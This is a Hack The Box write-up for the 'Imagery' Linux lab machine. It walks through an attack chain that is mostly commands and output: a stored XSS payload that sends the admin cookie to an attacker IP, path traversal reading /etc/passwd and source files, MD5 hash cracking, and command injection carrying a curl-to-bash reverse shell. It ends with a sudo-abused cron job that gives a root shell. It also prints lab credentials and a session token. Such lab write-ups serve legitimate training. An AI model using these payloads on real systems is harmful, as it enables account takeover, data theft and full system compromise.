Hack The Box / LINUX / 2026-01-24
Hack The Box — Imagery (Linux)
Stored XSS steals an admin session, path traversal exposes source and hashes, command injection grants web shell, and charcol abuse leads to root.
Target
Target IP: 10.129.162.243
Initial Enumeration
sudo nmap -sC -sV 10.129.162.243 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Go to http://10.129.162.243:8000/.
It is a website built with Python.
The Wappalyzer browser extension tells us it is Flask 3.1.3.
Register and log in.
We can see that we can report bugs.
XSS to Steal Admin Cookie
Start listening with an HTTP server:
python3 -m http.server 5555
Report a bug.
Put this XSS payload in the description:
<img src=x onerror=fetch('http://10.10.14.159:5555/pwnd?c='+document.cookie)>
Send the report and wait.
In the terminal with the server, we get a cookie:
10.129.162.243 - - [30/Sep/2025 23:18:11] "GET /pwnd?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNxlMQ.PTcd1fFAEIZz1syHo8TodFplbMo HTTP/1.1" 404 -
Set the cookie in the browser.
Now we are admin.
We have access to the admin panel.
We can download the log for the admin user.
Intercept the request with Burp and send it to Repeater.
Set the path like this:
/admin/get_system_log?log_identifier=/etc/passwd
Send the request.
We get the passwd file.
We notice the users web and mark.
/admin/get_system_log?log_identifier=/proc/self/cmdline
/home/web/web/env/bin/python app.py
We now have the path of the Python application.
We can retrieve the source code:
/admin/get_system_log?log_identifier=/home/web/web/app.py
From app.py we see other Python files to retrieve: api_admin.py, api_auth.py, api_edit.py, api_manage.py, api_misc.py, api_upload.py, config.py, utils.py.
Then we see there is a db.json file.
Inside, there is info for the admin and testuser users:
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
From utils.py, we discover these are MD5 password hashes.
Put the hashes in a file named hash:
hashcat -a 0 -m 0 ./hash /usr/share/wordlists/rockyou.txt
The testuser hash is cracked:
2c65c8d7bfbca32a3ed42596192384f6:iambatman
Command Injection via Image Transform
From api_edit.py, we notice that subprocess.run() is used with shell=True, which is highly vulnerable to command injection.
These calls are made in the apply_visual_transform function, which corresponds to the apply_visual_transform endpoint.
To access this endpoint, we must be testuser. We have the password, so no problem.
We notice only the crop operation uses shell=True:
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
So we will use this option.
We try to get a reverse shell.
Create a file rev with this content:
bash -i >& /dev/tcp/10.10.14.159/4444 0>&1
Start listeners:
python3 -m http.server 5555
nc -vlnp 4444
Log in as testuser.
Upload any image.
Click the three dots. There is a menu with several options.
We need the transform image option.
Choose the crop operation.
Click apply transformation, intercept the request with Burp, and send it to Repeater.
For example, change width like this:
"width":"$(curl http://10.10.14.159:5555/rev | bash)",
Send the request.
We get a reverse shell as user web.
cd
cat web/bot/admin.py
We notice:
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
ls -la /var/backup/web_20250806_120723.zip.aes
-rw-rw-r-- 1 root root 23054471 Aug 6 2024 /var/backup/web_20250806_120723.zip.aes
Download it to the attacker machine.
file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
pip install pyAesCrypt
We can decrypt using this Python code:
import pyAesCrypt
pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "web_20250806_120723.zip", password)
But if we try the various discovered passwords, it does not work.
We can use this tool: https://github.com/Nabeelcn25/dpyAesCrypt.py
git clone https://github.com/Nabeelcn25/dpyAesCrypt.py.git
python3 dpyAesCrypt.py/dpyAesCrypt.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt
Password found: bestfriends
File decrypted successfully as: web_20250806_120723.zip
unzip web_20250806_120723.zip
cd web
cat db.json
We notice:
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"username": "web@imagery.htb",
"password": "84e3c804cf1fa14306f26f9f3da177e0",
Put the hashes in a file named hash:
hashcat -a 0 -m 0 ./hash /usr/share/wordlists/rockyou.txt
We get:
01c3d2e5bdaf6134cec0a367cf53e535:supersmash
Privilege Escalation to mark
su mark
Enter password supersmash.
We get a shell as user mark.
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
sudo charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only
warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).
sudo charcol -R
Attempting to reset Charcol application password to default.
[2025-10-01 01:10:19] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
Enter password supersmash.
[2025-10-01 01:10:31] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
sudo charcol shell
Choose 1 and set a random password, for example hello.
sudo charcol shell
backup -i /root -o /tmp
We see there are path checks, and for example we cannot back up files inside /root.
Let's take the charcol sources:
sudo charcol backup -i /usr/local/lib/charcol
[2025-10-01 01:40:39] [INFO] Encryption successful! Encrypted backup saved to: /var/backup/charcol_20251001_014039.zip.aes
Copy it to the attacker machine:
python3 -c 'import pyAesCrypt; password="hello"; pyAesCrypt.decryptFile("charcol_20251001_014039.zip.aes", "charcol_20251001_014039.zip", password)'
unzip charcol_20251001_014039.zip
We now have the source code.
Privilege Escalation to Root
We can create cron jobs.
Let's create a cron job to get a reverse shell.
Start listeners:
python3 -m http.server 5555
nc -vlnp 4444
On the victim machine:
sudo charcol shell
auto add --schedule '* * * * *' --command 'curl http://10.10.14.159:5555/rev|bash'
Wait.
We get a reverse shell as user root.